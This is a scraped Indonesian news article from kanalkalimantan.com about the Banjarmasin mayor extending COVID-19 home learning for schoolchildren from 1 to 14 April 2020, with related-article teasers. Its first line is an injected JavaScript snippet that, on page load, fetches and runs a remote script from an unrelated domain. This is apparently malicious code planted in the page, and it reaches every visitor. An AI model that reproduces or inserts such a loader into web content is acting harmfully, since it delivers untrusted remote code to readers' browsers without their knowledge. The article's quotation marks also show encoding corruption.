(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Menyusul masa tanggap darurat virus Covid-19 di Kalimantan Selatan, Wali Kota Banjarmasin Ibnu Sina kembali menerbitkan surat edaran perpanjangan masa belajar dari rumah bagi peserta didik baik tingkat TK, SD maupun SMP di kota Banjarmasin, Senin (30/3/2020).
Jika sebelumnya melalui Surat Edaran Nomor 420/1170-Sekr/Dispendik/2020, masa proses belajar dari rumah dilaksanakan hingga 31 Maret 2020, maka melalui Surat Edaran Nomor 800/1280-Sekr/Dispendik/2020, masa belajar dari rumah diperpanjang selama 14 hari, terhitung dari tanggal 1 April hingga 14 April 2020.
“Perpanjangan dimaksud, termasuk juga perpanjangan masa work from home (bekerja dari rumah) bagi guru, kepala sekolah dan tenaga kependidikan,†kata Ibnu di Banjarmasin, Senin (30/3/2020).
Ibnu menjelaskan, belajar dari rumah menggunakan pembelajaran daring (online) yang dilaksanakan untuk memberikan pengalaman belajar yang bermakna dan tidak membebani siswa dengan tuntutan menuntaskan seluruh capaian kurikulum untuk kenaikan kelas maupun kelulusan. Di samping itu, pemberian tugas belajar dari rumah tidak harus bersifat akademik, tetapi dapat juga difokuskan pada pendidikan kecakapa hidup, antara lain edukasi mengenai pencegahan penularan Covid-19.
“Penugasan diberikan dalam bentuk tugas individual yang dapat dikerjakan siswa di lingkungan rumah. Tidak diperkenankan memberikan tugas yang mengharuskan anak ke luar lingkungan rumah untuk mengerjakannya. Adapun tugas dapat bervarias antar siswa, sesuai minat dan kondisi masing-masing siswa,†jelas Ibnu.
Lebih lanjut Ibnu menjabarkan, dalam pemberian tugas, guru harus mempertimbangkan kesenjangan asks atau fasilitas belajar siswa di rumah. Di mana, siswa yang kesulitan untuk pelaksanaan pembelajaran daring dapat difasilitasi dengan tugas offline menggunakan buku teks pelakaran yang dimiliki siswa ataupun dipinjam oleh pihak sekolah atau menggunakan bahan belakar lainnya. Kemudian, bukti atau produk dari aktivitas belajar dari rumah diberi umpan balik oleh guru yang bersifat kualitatif dan berguna bagi siswa, tanpa harus memberikan skor atau nilai kuantitatif.
“Sementara, aktivitas belajar dari rumah untuk jenjang PAUD dan TK dapat menyesuaikan,†lugas Ibnu.
Ibnu juga melarang siswa untuk melakukan perjalanan ke luar daerah, mendatang kawasan keramaian, berkumpul dengan teman-temannya di rumah atau aktivitas lainnya di luar rumah yang melibatkan orang banyak. “Kami juga meminta orang tua siswa untuk memperketat pengawasan terhadap aktivitas anaknya selama proses belajar dari rumah,†pungkas Ibnu. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
This website uses cookies.